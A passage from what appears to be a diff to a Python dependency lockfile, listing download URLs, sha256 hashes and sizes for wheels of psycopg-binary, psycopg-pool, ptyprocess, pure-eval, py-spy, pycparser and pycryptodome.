"https://files.pythonhosted.org/packages/b7/23/86457f5a82731685d7701de7bfaa5eb783dd1fecbf875321897d9d9ce33a/psycopg_binary-3.3.4-cp310-cp310-musllinux_1_2_riscv64.whl", hash = "sha256:eb4eed2079c01a4850bf467deacfab56d356d4225040170af03dc9958321242d", size = 3956282, upload-time = "2026-05-01T23:26:09.983Z" }, + { url = "https://files.pythonhosted.org/packages/a7/d8/249456df16d47de082abd9b73bce8ccdeb0293eb12e590f9150c7cbdb788/psycopg_binary-3.3.4-cp310-cp310-musllinux_1_2_x86_64.whl", hash = "sha256:f80e3f2b5331dbbf0901bcb658056c03eeb2c1ef31d774afb0d61598b242e744", size = 4261736, upload-time = "2026-05-01T23:26:16.798Z" }, + { url = "https://files.pythonhosted.org/packages/15/6b/c4abe228acafd8a385c1fb615d4f1e3c9b8ad7a4e4f0e84118ba3ffeed9c/psycopg_binary-3.3.4-cp310-cp310-win_amd64.whl", hash = "sha256:574ea21a9651958f1535c5a1c649c7409e9168bcbffa29a3f2f961f58b322949", size = 3570620, upload-time = "2026-05-01T23:26:22.655Z" }, + { url = "https://files.pythonhosted.org/packages/b6/82/df3312c0ca083d5b43b352f27d4dd8b1e614bd334473074715d9e0000da4/psycopg_binary-3.3.4-cp311-cp311-macosx_10_9_x86_64.whl", hash = "sha256:612a627d733f695b1de1f9b4bd511c15f999a5d8b915d444bbd7dd71cf3370da", size = 4609813, upload-time = "2026-05-01T23:26:30.612Z" }, + { url = "https://files.pythonhosted.org/packages/1f/b5/d74d542458d3e8ac0571d8a88f57ca369999b9a82f4fa528052d0d7d3e4c/psycopg_binary-3.3.4-cp311-cp311-macosx_11_0_arm64.whl", hash = "sha256:13a7f380824c35896dcac7fe0f61440f7ca49d6dc73f3c13a9a4471e6a3b302e", size = 4676799, upload-time = "2026-05-01T23:26:38.475Z" }, + { url = "https://files.pythonhosted.org/packages/09/67/06bab9c60671999f4c6ceff1b334f3ac1f9fc5789eb467c714623ea21de9/psycopg_binary-3.3.4-cp311-cp311-manylinux2014_ppc64le.manylinux_2_17_ppc64le.whl", hash = "sha256:276904e3452d6a23d474ef9a21eee19f20eed3d53ddd2576af033827e0ba0992", size = 5497050, upload-time = "2026-05-01T23:26:47.061Z" }, + { url = "https://files.pythonhosted.org/packages/72/9b/023433e2b20f970de1e22d29132a95281277646da0b2e2879dd4ee94b8c1/psycopg_binary-3.3.4-cp311-cp311-manylinux2014_x86_64.manylinux_2_17_x86_64.whl", hash = "sha256:ab8cca8ef8fb1ccf5b048ae5bd78ba55b9e4b5d472e3ce5ca39ff4d2a9c249e4", size = 5172428, upload-time = "2026-05-01T23:26:56.708Z" }, + { url = "https://files.pythonhosted.org/packages/08/cd/ae16da8fde228a38b2fe9269bbc13cf89e0186173f2265600f02d6a71e64/psycopg_binary-3.3.4-cp311-cp311-manylinux_2_27_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:7465bfe6087d2d5b42d4c53b9b11ca9f218e477317a4a162a10e3c19e984ba8e", size = 6762746, upload-time = "2026-05-01T23:27:07.023Z" }, + { url = "https://files.pythonhosted.org/packages/4f/81/0ba09fa5f5f88779093a2541a8e02489825721f258ab88058b11d68b3eb5/psycopg_binary-3.3.4-cp311-cp311-manylinux_2_38_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:22cdbf5f91ef7bb91fe0c5757e1962d3127a8010256eefd9c61fcaf441802097", size = 5006033, upload-time = "2026-05-01T23:27:12.221Z" }, + { url = "https://files.pythonhosted.org/packages/73/6a/629136040cc3497adb442a305710b5913f2a754d4630fc3d3717c4c0df65/psycopg_binary-3.3.4-cp311-cp311-musllinux_1_2_aarch64.whl", hash = "sha256:e2631da29253a98bd496e6c4813b24e09a4fe3fb2a9e88513305d6f8747cce95", size = 4534175, upload-time = "2026-05-01T23:27:18.248Z" }, + { url = "https://files.pythonhosted.org/packages/7c/32/1027f843c6dc2d5d51960ee62cc0c2cf755a4c39455aff1371173edbef7d/psycopg_binary-3.3.4-cp311-cp311-musllinux_1_2_ppc64le.whl", hash = "sha256:7f7668f30b9dd5163197e5cbf4e0efd54e00f0a859cc566ce56cfc31f4054839", size = 4224203, upload-time = "2026-05-01T23:27:24.3Z" }, + { url = "https://files.pythonhosted.org/packages/0b/e1/380a724d9093c74adb14d4fce920ea8327838abb61f760b1448586b14a8e/psycopg_binary-3.3.4-cp311-cp311-musllinux_1_2_riscv64.whl", hash = "sha256:cffc3408d77a27973f33e5d909b624cce683db5fc25964b02fe0aae7886c1007", size = 3954509, upload-time = "2026-05-01T23:27:30.815Z" }, + { url = "https://files.pythonhosted.org/packages/db/cd/895893ae575a09c97ccfd5def070d88993d955ef34df45a881fd5ff506d6/psycopg_binary-3.3.4-cp311-cp311-musllinux_1_2_x86_64.whl", hash = "sha256:0579252a1202cd73e4da137a1426e2dae993ae44e757605344282af3a082848c", size = 4259551, upload-time = "2026-05-01T23:27:38.828Z" }, + { url = "https://files.pythonhosted.org/packages/dd/c6/2330a20794e37a3ec609ef2fd8522919ec7a4395a1abf979a8e2d1775cd5/psycopg_binary-3.3.4-cp311-cp311-win_amd64.whl", hash = "sha256:41f2ec0fea529832982bcb6c9415de3c86264ebe562b77a467c0fbcd7efbba8d", size = 3572054, upload-time = "2026-05-01T23:27:45.455Z" }, + { url = "https://files.pythonhosted.org/packages/95/7d/03818e13ba7f36de93573c93ee3482006d3dfa8b0f8d28df511bad0a1a92/psycopg_binary-3.3.4-cp312-cp312-macosx_10_13_x86_64.whl", hash = "sha256:5ab28a2a7649df3b72e6b674b4c190e448e8e77cf496a65bd846472048de2089", size = 4591122, upload-time = "2026-05-01T23:27:56.162Z" }, + { url = "https://files.pythonhosted.org/packages/a5/b9/11b341edf8d54e2694726b273fe9652b254d989f4f63e3ac6816ad6b55f4/psycopg_binary-3.3.4-cp312-cp312-macosx_11_0_arm64.whl", hash = "sha256:6402a9d8146cf4b3974ded3fd28a971e83dc6a0333eb7822524a3aa20b546578", size = 4669943, upload-time = "2026-05-01T23:28:04.522Z" }, + { url = "https://files.pythonhosted.org/packages/8b/18/4665bacd65e7865b4372fcd8abb8b9186ada4b0025f8c2ca691b364a556c/psycopg_binary-3.3.4-cp312-cp312-manylinux2014_ppc64le.manylinux_2_17_ppc64le.whl", hash = "sha256:580ae30a5f95ccd90008ec697d3ed6a4a2047a516407ad904283fa42086936e9", size = 5469697, upload-time = "2026-05-01T23:28:11.337Z" }, + { url = "https://files.pythonhosted.org/packages/7c/b1/b83136c6e510593d9b0c759ba5384337bc4ad82d19fda675adc4b2703c84/psycopg_binary-3.3.4-cp312-cp312-manylinux2014_x86_64.manylinux_2_17_x86_64.whl", hash = "sha256:e7510c37550f91a187e3660a8cc50d4b760f8c3b8b2f89ebc5698cd2c7f2c85d", size = 5152995, upload-time = "2026-05-01T23:28:20.529Z" }, + { url = "https://files.pythonhosted.org/packages/67/8d/a9821e2a648afe6091989929982a3b0f00b2631a859cb81379728f08fb75/psycopg_binary-3.3.4-cp312-cp312-manylinux_2_27_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:77df19583501ea288eaf15ac0fe7ad01e6d8091a91d5c41df5c718f307d8e31b", size = 6738180, upload-time = "2026-05-01T23:28:30.654Z" }, + { url = "https://files.pythonhosted.org/packages/7e/58/2e349e8d23905dc2317b80ac65f48fb6f821a4777a4e994a60da91c4850f/psycopg_binary-3.3.4-cp312-cp312-manylinux_2_38_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:018fbed325936da502feb546642c982dcc4b9ffdea32dfef78dbf3b7f7ad4070", size = 4978828, upload-time = "2026-05-01T23:28:37.277Z" }, + { url = "https://files.pythonhosted.org/packages/45/48/57b00d03b4721878326122a1f1e6b0a90b85bcaec56b5b2f8ea6cfa45235/psycopg_binary-3.3.4-cp312-cp312-musllinux_1_2_aarch64.whl", hash = "sha256:17a21953a9e5ff3a16dab692625a3676e2f101db5e40072f39dbee2250194d68", size = 4509757, upload-time = "2026-05-01T23:28:43.078Z" }, + { url = "https://files.pythonhosted.org/packages/25/37/33b47d8c007df69aec500df5889767c4d313748e8e9e27a2fef8a6dabcee/psycopg_binary-3.3.4-cp312-cp312-musllinux_1_2_ppc64le.whl", hash = "sha256:eb05ee1c2b817d27c537333224c9e83c7afb86fe7296ba970990068baf819b16", size = 4190546, upload-time = "2026-05-01T23:28:50.016Z" }, + { url = "https://files.pythonhosted.org/packages/ca/c6/32b0835dbc2122617902b649d76a91c1e75406e76bf3d595b0c3bb5ffad6/psycopg_binary-3.3.4-cp312-cp312-musllinux_1_2_riscv64.whl", hash = "sha256:773d573e11f437ce0bdb95b7c18dc58390494f96d43f8b45b9760436114f7652", size = 3926197, upload-time = "2026-05-01T23:28:55.55Z" }, + { url = "https://files.pythonhosted.org/packages/cd/68/d190ef0c0c5b16ded07831dabc8ddd412f4cdab07ec6e30ed38d9bda0e1f/psycopg_binary-3.3.4-cp312-cp312-musllinux_1_2_x86_64.whl", hash = "sha256:71e55ccbdfae79a2ed9c6369c3008a3025817ff9d7e27b32a2d84e2a4267e66e", size = 4236627, upload-time = "2026-05-01T23:29:05.336Z" }, + { url = "https://files.pythonhosted.org/packages/25/8f/81dcbc2e8454b74d14881275ea45f00791052dac531a9fa8be1730d1685b/psycopg_binary-3.3.4-cp312-cp312-win_amd64.whl", hash = "sha256:494ca54901be8cf9eb7e02c25b731f2317c378efa44f43e8f9bd0e1184ae7be4", size = 3560782, upload-time = "2026-05-01T23:29:11.967Z" }, + { url = "https://files.pythonhosted.org/packages/09/43/13e9c406fbbf354580476e248a16b64802a376873ebe6339e30bb655572d/psycopg_binary-3.3.4-cp313-cp313-macosx_10_13_x86_64.whl", hash = "sha256:fbd1d4ed566895ad2d3bf4ddfd8bae90026930ddf29df3b9d91d32c8c47866a7", size = 4590377, upload-time = "2026-05-01T23:29:18.782Z" }, + { url = "https://files.pythonhosted.org/packages/22/be/2923cd7c3683e7afdecf4f10796a18de02f5c5ddc0969aa2ad0a8cdd3bbd/psycopg_binary-3.3.4-cp313-cp313-macosx_11_0_arm64.whl", hash = "sha256:75a9067e236f9b9ae3535b66fe99bddb33d39c0de10112e49b9ab11eee53dc31", size = 4669023, upload-time = "2026-05-01T23:29:25.884Z" }, + { url = "https://files.pythonhosted.org/packages/96/a0/2c913d6fe13d6a8bd13597d36739bf47af063ad9399e402cfecab16f3c1e/psycopg_binary-3.3.4-cp313-cp313-manylinux2014_ppc64le.manylinux_2_17_ppc64le.whl", hash = "sha256:b56b603ebcea8aa10b46228b8410ba7f13e7c2ee54389d4d9be0927fd8ce2a70", size = 5467423, upload-time = "2026-05-01T23:29:33.416Z" }, + { url = "https://files.pythonhosted.org/packages/e7/38/205d10bc1ad0df4a21c5c51659126bd3ea0ef98fcad1e852f78c249bb9c3/psycopg_binary-3.3.4-cp313-cp313-manylinux2014_x86_64.manylinux_2_17_x86_64.whl", hash = "sha256:c677c4ad433cb7150c8cd304a0769ae3bcfbe5ea0676eb53faa7b1443b16d0d3", size = 5151137, upload-time = "2026-05-01T23:29:42.013Z" }, + { url = "https://files.pythonhosted.org/packages/36/fc/f0381ddcd45eff3bb70dbca6823a996048d7f507b2ec3fc92c6fabc0fe87/psycopg_binary-3.3.4-cp313-cp313-manylinux_2_27_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:26df2717e59c0473e4465a97dfb1b7afebaa479277870fd5784d1436470db47c", size = 6736671, upload-time = "2026-05-01T23:29:51.626Z" }, + { url = "https://files.pythonhosted.org/packages/95/40/fa545ae152c24327651e5624e4902121e808270be36c10b12e9939be09bc/psycopg_binary-3.3.4-cp313-cp313-manylinux_2_38_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:1dc1f79fd16bb1f3f4421417a514607539f17804d95c7ed617265369d1981cae", size = 4979601, upload-time = "2026-05-01T23:29:56.961Z" }, + { url = "https://files.pythonhosted.org/packages/86/e4/2f8a47ee97f90cd2b933d0463081d35631ff419de2b8c984a5f369857de0/psycopg_binary-3.3.4-cp313-cp313-musllinux_1_2_aarch64.whl", hash = "sha256:136f199a407b5348b9b857c504aff60c77622a28482e7195839ce1b51238c4cc", size = 4510513, upload-time = "2026-05-01T23:30:07.243Z" }, + { url = "https://files.pythonhosted.org/packages/0e/0e/94e842ff4a7f98ed162580ca2e8b8864b28c1e0350f2443f8ee47f821167/psycopg_binary-3.3.4-cp313-cp313-musllinux_1_2_ppc64le.whl", hash = "sha256:b6f5a29e9c775b9f12a1a717aa7a2c80f9e1db6f27ba44a5b59c80ac61d2ffcf", size = 4187243, upload-time = "2026-05-01T23:30:15.352Z" }, + { url = "https://files.pythonhosted.org/packages/d0/83/fc6c174b672e29b7de996ea77b6cbddf46c891751c3355f6974292baa6b4/psycopg_binary-3.3.4-cp313-cp313-musllinux_1_2_riscv64.whl", hash = "sha256:ee17a2cf4943cde261adfad1bbc5bf38d6b3776d7afff74c7cabcbeaeb08c260", size = 3927347, upload-time = "2026-05-01T23:30:21.186Z" }, + { url = "https://files.pythonhosted.org/packages/e9/65/768364d4a97a15b1a7f47ba52688c1686f22941d8332a8398cefc468e25f/psycopg_binary-3.3.4-cp313-cp313-musllinux_1_2_x86_64.whl", hash = "sha256:5c4ab71be17bdca30cb34c34c4e1496e2f5d6f20c199c12bad226070b22ef9bf", size = 4236393, upload-time = "2026-05-01T23:30:26.211Z" }, + { url = "https://files.pythonhosted.org/packages/bd/3b/218efbc9e645becd80cdf651acda05f85cfe546b7a9c0458c7cbc8fe1f74/psycopg_binary-3.3.4-cp313-cp313-win_amd64.whl", hash = "sha256:dbfdb9b6cc79f31104a7b162a2b921b765fcc62af6c00540a167a8de47e4ed38", size = 3564592, upload-time = "2026-05-01T23:30:31.764Z" }, + { url = "https://files.pythonhosted.org/packages/48/a6/828c9185701dab71b234c2a76c38a08b098ebfec5020716b4e93807492b5/psycopg_binary-3.3.4-cp314-cp314-macosx_10_15_x86_64.whl", hash = "sha256:28b7398fdd19db3232c884fb24550bdfe951221f510e195e233299e4c9b78f97", size = 4607292, upload-time = "2026-05-01T23:30:38.962Z" }, + { url = "https://files.pythonhosted.org/packages/92/58/5b40dbc9d839045c9dae956960e4fb6d20bcabe6c59a2aa34fc3a371913f/psycopg_binary-3.3.4-cp314-cp314-macosx_11_0_arm64.whl", hash = "sha256:1fbaa292a3c8bb61b45df1ad3da1908ccee7cb889db9425e3557d9e34e2a4829", size = 4687023, upload-time = "2026-05-01T23:30:47.227Z" }, + { url = "https://files.pythonhosted.org/packages/85/a9/793f0ac107a9003b48441d0d1f9f616d96e0f37458dd8dc12528ceff55fb/psycopg_binary-3.3.4-cp314-cp314-manylinux2014_ppc64le.manylinux_2_17_ppc64le.whl", hash = "sha256:94596f9e7633ee3f6440711d43bb70aa31cc0a46a900ab8b4201a366ace5c9e7", size = 5486985, upload-time = "2026-05-01T23:30:55.517Z" }, + { url = "https://files.pythonhosted.org/packages/8f/26/42e8533497e2592334f68ec529cf5f840f7fa4e99575a4bb61aa184dbfbf/psycopg_binary-3.3.4-cp314-cp314-manylinux2014_x86_64.manylinux_2_17_x86_64.whl", hash = "sha256:8c0056529e68dbe9184cd4019a1f3d8f3a4ead2f6fc7a5afcf27d3314edd1277", size = 5168745, upload-time = "2026-05-01T23:31:01.904Z" }, + { url = "https://files.pythonhosted.org/packages/15/af/b7151776cc08d5935d45c833ec818a9beb417cf7c08239af1aafbdae78ee/psycopg_binary-3.3.4-cp314-cp314-manylinux_2_27_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:2c09aad7051326e7603c14e50636db9c01f78272dc54b3accff03d46370461e6", size = 6761486, upload-time = "2026-05-01T23:31:14.511Z" }, + { url = "https://files.pythonhosted.org/packages/d0/ed/c92533b9124712d592cbf1cd6c76da933a2e0acea81dfe1fbe7e735f0cff/psycopg_binary-3.3.4-cp314-cp314-manylinux_2_38_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:514404ed543efd620c85602b747df2a23cf1241b4067199e1a66f2d2757aaa41", size = 4997427, upload-time = "2026-05-01T23:31:20.901Z" }, + { url = "https://files.pythonhosted.org/packages/a2/23/ccadfd0de416aa188356daa199453af24087b042e296088706d190ae0295/psycopg_binary-3.3.4-cp314-cp314-musllinux_1_2_aarch64.whl", hash = "sha256:46893c26858be12cc49ca4226ed6a60b4bfccadd946b3bebb783a60b38788228", size = 4533549, upload-time = "2026-05-01T23:31:26.204Z" }, + { url = "https://files.pythonhosted.org/packages/fd/a0/c8f43cee36386f7bc891ab41a9d31ea07cf9826038e732da79f26b1e5f34/psycopg_binary-3.3.4-cp314-cp314-musllinux_1_2_ppc64le.whl", hash = "sha256:df1d567fc430f6df15c9fcf67d87685fc49bdb325adc0db5af1adfb2f44eb5c9", size = 4210256, upload-time = "2026-05-01T23:31:33.884Z" }, + { url = "https://files.pythonhosted.org/packages/4e/2c/c1547871be3790676e8868b38655496422f94f0978dfb66b74bdba2f1676/psycopg_binary-3.3.4-cp314-cp314-musllinux_1_2_riscv64.whl", hash = "sha256:6b9016b1714da4dd5ecaaa75b82098aa5a0b87854ce9b092e21c27c4ae23e014", size = 3946204, upload-time = "2026-05-01T23:31:39.626Z" }, + { url = "https://files.pythonhosted.org/packages/c4/b1/f6670f00fa7ea601584623f6c11602ab92117d83eaff885e0210f6de7418/psycopg_binary-3.3.4-cp314-cp314-musllinux_1_2_x86_64.whl", hash = "sha256:47c656a8a7ba6eb0cff1801a4caaa9c8bdc12d03080e273aff1c8ac39971a77e", size = 4255811, upload-time = "2026-05-01T23:31:44.986Z" }, + { url = "https://files.pythonhosted.org/packages/eb/e6/5fff07a70d1f945ed90ae131c3bd76cab32beff7c58c6db15ad5820b6d1f/psycopg_binary-3.3.4-cp314-cp314-win_amd64.whl", hash = "sha256:c37e024c07308cd06cf3ec51bfd0e7f6157585a4d84d1bce4a7f5f7913719bf8", size = 3666849, upload-time = "2026-05-01T23:31:51.165Z" }, +] + +[[package]] +name = "psycopg-pool" +version = "3.3.1" +source = { registry = "https://pypi.org/simple" } +dependencies = [ + { name = "typing-extensions" }, +] +sdist = { url = "https://files.pythonhosted.org/packages/90/82/7a23d26039827ecd4ebe93905651029ddd307c5182ad59296dfb6f67b528/psycopg_pool-3.3.1.tar.gz", hash = "sha256:b10b10b7a175d5cc1592147dc5b7eec8a9e0834eb3ed2c4a92c858e2f51eb63c", size = 31661, upload-time = "2026-05-01T23:31:59.809Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/37/ed/89c2c620af0e1660354cd8aabf9f5b21f911597ce22acb37c805d6c86bc8/psycopg_pool-3.3.1-py3-none-any.whl", hash = "sha256:2af5b432941c4c9ad5c87b3fa410aec910ec8f7c122855897983a06c45f2e4b5", size = 40023, upload-time = "2026-05-01T23:31:53.136Z" }, +] + +[[package]] +name = "ptyprocess" +version = "0.7.0" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/20/e5/16ff212c1e452235a90aeb09066144d0c5a6a8c0834397e03f5224495c4e/ptyprocess-0.7.0.tar.gz", hash = "sha256:5c5d0a3b48ceee0b48485e0c26037c0acd7d29765ca3fbb5cb3831d347423220", size = 70762, upload-time = "2020-12-28T15:15:30.155Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/22/a6/858897256d0deac81a172289110f31629fc4cee19b6f01283303e18c8db3/ptyprocess-0.7.0-py2.py3-none-any.whl", hash = "sha256:4b41f3967fce3af57cc7e94b888626c18bf37a083e3651ca8feeb66d492fef35", size = 13993, upload-time = "2020-12-28T15:15:28.35Z" }, +] + +[[package]] +name = "pure-eval" +version = "0.2.3" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/cd/05/0a34433a064256a578f1783a10da6df098ceaa4a57bbeaa96a6c0352786b/pure_eval-0.2.3.tar.gz", hash = "sha256:5f4e983f40564c576c7c8635ae88db5956bb2229d7e9237d03b3c0b0190eaf42", size = 19752, upload-time = "2024-07-21T12:58:21.801Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/8e/37/efad0257dc6e593a18957422533ff0f87ede7c9c6ea010a2177d738fb82f/pure_eval-0.2.3-py3-none-any.whl", hash = "sha256:1db8e35b67b3d218d818ae653e27f06c3aa420901fa7b081ca98cbedc874e0d0", size = 11842, upload-time = "2024-07-21T12:58:20.04Z" }, +] + +[[package]] +name = "py-spy" +version = "0.4.2" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/93/d8/5b71371f50cf153b1307e5a11ac8a4ce4d85651dae946bd7e9a064146545/py_spy-0.4.2.tar.gz", hash = "sha256:90e600b27bb6bb40479637baca5a5b4bc2ba3395c93d889e672315d93042c4ae", size = 286374, upload-time = "2026-04-24T22:08:54.906Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/ef/21/ec030145a0c7992bd4b9eafb2f06f56358b3a5339eab4a16534baf3c69aa/py_spy-0.4.2-py2.py3-none-macosx_10_12_x86_64.macosx_11_0_arm64.macosx_10_12_universal2.whl", hash = "sha256:1ccf688393105111684435f035bc14ec3f22117dd2b85b2414612cf27a22755a", size = 3743992, upload-time = "2026-04-24T22:08:45.438Z" }, + { url = "https://files.pythonhosted.org/packages/50/80/de5fd27243c2be03692ecd317bf0dbe24b4c6f78f689ce111e7277a7cb09/py_spy-0.4.2-py2.py3-none-macosx_11_0_arm64.whl", hash = "sha256:a0e6f6810ccf0fc5e64e85e0182a5b626c4496eec01b14fb8755154b363a4831", size = 1859057, upload-time = "2026-04-24T22:08:46.946Z" }, + { url = "https://files.pythonhosted.org/packages/89/23/3eb4c23c684ebd667674ce1d076ae855e0621d1d9bd5e052aa3f7982f757/py_spy-0.4.2-py2.py3-none-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:142887e984a4e541071c99a4401ff8c3770f255d329dbd0f64e8c1dd51882cce", size = 2828136, upload-time = "2026-04-24T22:08:48.519Z" }, + { url = "https://files.pythonhosted.org/packages/ca/01/6314152cf9ad3310ebacbf2c47b5ed858086530f8e12b1a665725ca5e0f4/py_spy-0.4.2-py2.py3-none-manylinux_2_17_armv7l.manylinux2014_armv7l.whl", hash = "sha256:7f1c6d9b0e2379ead5bf792df43f4cf36153aa79e6dda4fb8ac7740cf8017110", size = 2857707, upload-time = "2026-04-24T22:08:49.677Z" }, + { url = "https://files.pythonhosted.org/packages/cc/1f/0960a129d504728d28a51dbd5a04ce94031eb75bac676341da7aefdd8232/py_spy-0.4.2-py2.py3-none-manylinux_2_5_i686.manylinux1_i686.whl", hash = "sha256:24720573f95230653b457671a1dcc3c5a381fcf4e92677761e328a430ad251b2", size = 2301852, upload-time = "2026-04-24T22:08:51.152Z" }, + { url = "https://files.pythonhosted.org/packages/f9/34/dd7d3c763a00b7b965e25a5eab0acd1a345dbaf0f45fffe595278873a1c0/py_spy-0.4.2-py2.py3-none-manylinux_2_5_x86_64.manylinux1_x86_64.whl", hash = "sha256:aeb0323409199c785f730645e9f4bb7a7b9ca2c481f2c331a55642b5d13fa52f", size = 2936518, upload-time = "2026-04-24T22:08:52.264Z" }, + { url = "https://files.pythonhosted.org/packages/6f/ed/1409cdb557e558a6c98003ab12fdd4284699e158c167c187cb0f124eea4c/py_spy-0.4.2-py2.py3-none-win_amd64.whl", hash = "sha256:8b06a353c177677e4e1701b288d8c58e2f8d4208ee81a8048d9f72ba800918f8", size = 1894002, upload-time = "2026-04-24T22:08:53.811Z" }, +] + +[[package]] +name = "pycparser" +version = "2.23" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/fe/cf/d2d3b9f5699fb1e4615c8e32ff220203e43b248e1dfcc6736ad9057731ca/pycparser-2.23.tar.gz", hash = "sha256:78816d4f24add8f10a06d6f05b4d424ad9e96cfebf68a4ddc99c65c0720d00c2", size = 173734, upload-time = "2025-09-09T13:23:47.91Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/a0/e3/59cd50310fc9b59512193629e1984c1f95e5c8ae6e5d8c69532ccc65a7fe/pycparser-2.23-py3-none-any.whl", hash = "sha256:e5c6e8d3fbad53479cab09ac03729e0a9faf2bee3db8208a550daf5af81a5934", size = 118140, upload-time = "2025-09-09T13:23:46.651Z" }, +] + +[[package]] +name = "pycryptodome" +version = "3.23.0" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/8e/a6/8452177684d5e906854776276ddd34eca30d1b1e15aa1ee9cefc289a33f5/pycryptodome-3.23.0.tar.gz", hash = "sha256:447700a657182d60338bab09fdb27518f8856aecd80ae4c6bdddb67ff5da44ef", size = 4921276, upload-time = "2025-05-17T17:21:45.242Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/04/5d/bdb09489b63cd34a976cc9e2a8d938114f7a53a74d3dd4f125ffa49dce82/pycryptodome-3.23.0-cp313-cp313t-macosx_10_13_universal2.whl", hash = "sha256:0011f7f00cdb74879142011f95133274741778abba114ceca229adbf8e62c3e4", size = 2495152, upload-time = "2025-05-17T17:20:20.833Z" }, + { url = "https://files.pythonhosted.org/packages/a7/ce/7840250ed4cc0039c433cd41715536f926d6e86ce84e904068eb3244b6a6/pycryptodome-3.23.0-cp313-cp313t-macosx_10_13_x86_64.whl", hash = "sha256:90460fc9e088ce095f9ee8356722d4f10f86e5be06e2354230a9880b9c549aae", size = 1639348, upload-time = "2025-05-17T17:20:23.171Z" }, + { url = "https://files.pythonhosted.org/packages/ee/f0/991da24c55c1f688d6a3b5a11940567353f74590734ee4a64294834ae472/pycryptodome-3.23.0-cp313-cp313t-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:4764e64b269fc83b00f682c47443c2e6e85b18273712b98aa43bcb77f8570477", size = 2184033, upload-time = "2025-05-17T17:20:25.424Z" }, + { url = "https://files.pythonhosted.org/packages/54/16/0e11882deddf00f68b68dd4e8e442ddc30641f31afeb2bc25588124ac8de/pycryptodome-3.23.0-cp313-cp313t-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:eb8f24adb74984aa0e5d07a2368ad95276cf38051fe2dc6605cbcf482e04f2a7", size = 2270142, upload-time = "2025-05-17T17:20:27.808Z" }, + { url = "https://files.pythonhosted.org/packages/d5/fc/4347fea23a3f95ffb931f383ff28b3f7b1fe868739182cb76718c0da86a1/pycryptodome-3.23.0-cp313-cp313t-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:d97618c9c6684a97ef7637ba43bdf6663a2e2e77efe0f863cce97a76af396446", size = 2309384, upload-time = "2025-05-17T17:20:30.765Z" }, + { url = "https://files.pythonhosted.org/packages/6e/d9/c5261780b69ce66d8cfab25d2797bd6e82ba0241804694cd48be41add5eb/pycryptodome-3.23.0-cp313-cp313t-musllinux_1_2_aarch64.whl", hash = "sha256:9a53a4fe5cb075075d515797d6ce2f56772ea7e6a1e5e4b96cf78a14bac3d265", size = 2183237, upload-time = "2025-05-17T17:20:33.736Z" }, + { url = "https://files.pythonhosted.org/packages/5a/6f/3af2ffedd5cfa08c631f89452c6648c4d779e7772dfc388c77c920ca6bbf/pycryptodome-3.23.0-cp313-cp313t-musllinux_1_2_i686.whl", hash = "sha256:763d1d74f56f031788e5d307029caef067febf890cd1f8bf61183ae142f1a77b", size = 2343898, upload-time = "2025-05-17T17:20:36.086Z" }, + { url = "https://files.pythonhosted.org/packages/9a/dc/9060d807039ee5de6e2f260f72f3d70ac213993a804f5e67e0a73a56dd2f/pycryptodome-3.23.0-cp313-cp313t-musllinux_1_2_x86_64.whl", hash = "sha256:954af0e2bd7cea83ce72243b14e4fb518b18f0c1649b576d114973e2073b273d", size = 2269197, upload-time = "2025-05-17T17:20:38.414Z" }, + { url = "https://files.pythonhosted.org/packages/f9/34/e6c8ca177cb29dcc4967fef73f5de445912f93bd0343c9c33c8e5bf8cde8/pycryptodome-3.23.0-cp313-cp313t-win32.whl", hash = "sha256:257bb3572c63ad8ba40b89f6fc9d63a2a628e9f9708d31ee26560925ebe0210a", size = 1768600, upload-time = "2025-05-17T17:20:40.688Z" }, + { url = "https://files.pythonhosted.org/packages/e4/1d/89756b8d7ff623ad0160f4539da571d1f594d21ee6d68be130a6eccb39a4/pycryptodome-3.23.0-cp313-cp313t-win_amd64.whl", hash = "sha256:6501790c5b62a29fcb227bd6b62012181d886a767ce9ed03b303d1f22eb5c625", size = 1799740, upload-time = "2025-05-17T17:20:42.413Z" }, + { url = "https://files.pythonhosted.org/packages/5d/61/35a64f0feaea9fd07f0d91209e7be91726eb48c0f1bfc6720647194071e4/pycryptodome-3.23.0-cp313-cp313t-win_arm64.whl", hash = "sha256:9a77627a330ab23ca43b48b130e202582e91cc69619947840ea4d2d1be21eb39", size = 1703685, upload-time = "2025-05-17T17:20:44.388Z" }, + { url = "https://files.pythonhosted.org/packages/db/6c/a1f71542c969912bb0e106f64f60a56cc1f0fabecf9396f45accbe63fa68/pycryptodome-3.23.0-cp37-abi3-macosx_10_9_universal2.whl", hash = "sha256:187058ab80b3281b1de11c2e6842a357a1f71b42cb1e15bce373f3d238135c27", size = 2495627, upload-time = "2025-05-17T17:20:47.139Z" }, + { url = "https://files.pythonhosted.org/packages/6e/4e/a066527e079fc5002390c8acdd3aca431e6ea0a50ffd7201551175b47323/pycryptodome-3.23.0-cp37-abi3-macosx_10_9_x86_64.whl", hash = "sha256:cfb5cd445280c5b0a4e6187a7ce8de5a07b5f3f897f235caa11f1f435f182843", size = 1640362, upload-time = "2025-05-17T17:20:50.392Z" }, + { url = 